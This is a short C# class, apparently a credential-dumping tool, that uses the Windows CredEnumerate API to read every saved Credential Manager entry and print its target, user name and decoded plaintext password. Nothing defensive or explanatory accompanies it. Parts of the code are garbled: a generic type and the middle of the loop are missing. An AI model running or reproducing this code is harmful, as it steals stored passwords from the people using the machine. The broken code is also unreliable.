using System; using System.Text; using System.Runtime.InteropServices; public class CredDump2 { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct CREDENTIAL { public uint Flags; public uint Type; public IntPtr TargetName; public IntPtr Comment; public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten; public uint CredentialBlobSize; public IntPtr CredentialBlob; public uint Persist; public uint AttributeCount; public IntPtr Attributes; public IntPtr TargetAlias; public IntPtr UserName; } [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode, EntryPoint="CredEnumerateW")] public static extern bool CredEnumerate(string filter, uint flags, out uint count, out IntPtr creds); public static string[] Dump(){ var outl = new System.Collections.Generic.List(); uint cnt; IntPtr p; if(!CredEnumerate(null, 0, out cnt, out p)){ outl.Add("ENUMFAIL|" + Marshal.GetLastWin32Error()); return outl.ToArray(); } IntPtr cur = p; for(uint i=0;i0 && c.CredentialBlob!=IntPtr.Zero) Marshal.Copy(c.CredentialBlob, blob, 0, (int)c.CredentialBlobSize); string pw=""; try{ pw = Encoding.Unicode.GetString(blob); }catch{} outl.Add("CRED|" + c.Type + "|" + c.Persist + "|" + tn + "|" + un + "|" + pw.Replace("\n"," ").Replace("\r"," ")); cur = (IntPtr)((long)cur + IntPtr.Size); } return outl.ToArray(); } }